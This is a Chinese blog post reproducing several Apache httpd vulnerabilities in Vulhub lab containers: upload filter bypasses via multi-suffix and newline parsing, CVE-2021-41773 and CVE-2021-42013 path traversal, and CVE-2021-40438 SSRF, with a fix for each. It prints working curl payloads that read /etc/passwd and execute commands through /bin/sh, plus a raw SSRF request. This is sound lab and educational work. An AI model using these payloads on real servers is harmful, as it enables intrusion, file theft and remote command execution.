Loading

Vulhub Apache Httpd漏洞复现

前言

Apache Httpd(Hypertext Transfer Protocol daemon)是一个开源的网页服务器软件,它遵循HTTP协议,用于从网络提供超文本文档。

多后缀解析漏洞

漏洞描述

Apache Httpd默认支持一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识别,则继续向左识别。

多后缀解析漏洞是由于服务器配置不当造成的。如果在配置php文件处理程序时存在问题,给.php后缀增加了处理器:

AddHandler application/x-httpd-php .php

那么在有多个后缀的情况下,只要一个文件含有.php后缀的文件就会被识别成php文件,没必要是最后一个后缀。利用这个特性,将会造成一个可以绕过上传白名单的解析漏洞。

漏洞复现

复现环境:/vulhub/httpd/apache_parsing_vulnerability

尝试上传php文件,发现上传失败,只有上传图片才能成功。

image

在php文件扩展名后面加上.jpeg.pnggif后,均可上传成功。

image

执行docker exec -it 499b998638bf bash进入到容器环境,可以看到uploadfiles/目录下被上传的文件。

image

如果去请求uploadfiles/apache.php.jpeg这个文件,那么这个文件就会被当作php文件解析执行。

image

我们可以通过上传文件名为xxx.php.jpg的一句话木马,利用Apache解析漏洞进行getshell。

修复方案

  • 方案一 httpd.conf 加入以下语句,从而禁止文件名格式为.php.的访问权限
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
  • 处理程序只处理以.php结尾的文件,注释掉原本的配置命令AddHandler application/x-httpd-php .php
<FilesMatch ".+.php$">
SetHandler application/x-httpd-php
</FilesMatch>

换行解析漏洞(CVE-2017-15715)

漏洞描述

换行解析漏洞的原因是Apache配置文件会用正则表达式中的$用来匹配字符串结位置,但在设置了对象的Multiline属性的条件下,$还会匹配到字符串结尾的换行符。也就是说$会去匹配换行符(Line Feed,LF),\x0A转义序列代表的是换行符,所以在php文件加上 \x0A 可以进行绕过。

配置文件中设置正则表达式对象的Multiline属性:

<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>

在解析php时,1.php\x0A将被按照php后缀进行解析。

漏洞复现

复现环境:/vulhub/httpd/CVE-2017-15715

影响版本:2.4.0 - 2.4.29

尝试上传php文件,发现上传失败。

image

在hex模块将php文件扩展名后面改为0a,成功绕过,上传成功。

image

在扩展名后加上\n也可以成功绕过。

需要注意的是:
在Linux系统中,文本文件通常使用单独的 \x0A(LF)作为行结束符。
在 Windows 系统中,文本文件的行结束符通常是 \x0D\x0A,即回车符(CR)后跟换行符(LF),也就是\r\n。

同样可以通过修改扩展名来上传一句话木马,利用Apache解析漏洞进行getshell。

如果后端在获取文件名是使用$_FILES['file']['name'],那么会自动把换行去掉,则无法利用。

修复方案

修复方案就很简单了,升级版本,或者在获取文件名时将扩展名后面的换行符等统统去掉。

2.4.49 路径穿越漏洞(CVE-2021-41773)

漏洞描述

这个漏洞是由于在路径规范化中的错误导致的,允许攻击者利用路径穿越攻击映射URL到配置的目录之外的文件。

Apache HTTP Server 2.4.49 版本在对路径参数进行规范化时会先进行URL解码,判断是否存在../这样的路径穿越符。当检测到路径中存在%字符时,如果后面紧跟的2个字符是十六进制字符,就会进行URL解码,将其转换成标准字符:%2e转换为.,所以就会将.%2e/%2e%2e/转换为../,但是不会把%2e./转换。

漏洞复现

复现环境:/vulhub/httpd/CVE-2021-41773

影响版本:2.4.49

使用如下curl命令来发送Payload:

curl -v --path-as-is http://192.168.88.150:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

image

在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:

curl -v --data "echo;id" 'http://192.168.88.150:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

image

修复方案

在2.4.50版本中,修复了但又没完全修复,仍然可以绕过,升级到更高版本最好。

2.4.50 路径穿越漏洞(CVE-2021-42013)

漏洞描述

Apache HTTP Server 2.4.50 版本中对 2.4.49 版本中出现的目录穿越漏洞进行了修复,但这个修复是不完整的,算是对补丁的绕过。

2.4.50 版本的修复可以避免一次URL编码导致的路径穿越,但是由于在请求处理过程中,首先会调用ap_normalize_path函数进行一次URL解码,之后会调用ap_unescape_url函数进行二次解码,此时就可以使用URL二次编码的方式绕过。

使用.%%32%65/进行绕过,经过ap_normalize_path函数处理后.%2e/,再经过ap_unescape_url函数处理后../,之后就和 2.4.49 一样的套路。

漏洞复现

复现环境:/vulhub/httpd/CVE-2021-42013

影响版本:2.4.49 和 2.4.50

使用如下curl命令来发送Payload:

curl -v --path-as-is http://192.168.88.150:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

image

在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:

curl -v --data "echo;id" 'http://192.168.88.150:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

image

修复方案

修复方案没什么好说的,就升级版本。

SSRF漏洞(CVE-2021-40438)

漏洞描述

在 2.4.48 及以前的版本中,mod_proxy 模块存在一处逻辑错误导致攻击者可以控制反向代理服务器的地址,进而导致SSRF漏洞。

SSRF(服务器端请求伪造)攻击的目标通常是内部系统,这些系统不会直接对外开放,但一些服务器却可以访问它们。就好比这个docker环境中的Apache服务器是以反向代理服务器的身份,运行在客户端和后端服务器(Tomcat)之间,Apache和Tomcat通过AJP协议进行通信。

漏洞复现

发送如下数据包Payload(记得修改Host):

GET /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|http://example.com/ HTTP/1.1
Host: 192.168.88.150:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close

成功请求到 http://example.com 的页面并返回:

image

修复方案

升级到最新版本。


若有错误,欢迎指正!o( ̄▽ ̄)ブ

posted @ 2024-04-28 16:19  smileleooo  阅读(207)  评论(0编辑  收藏  举报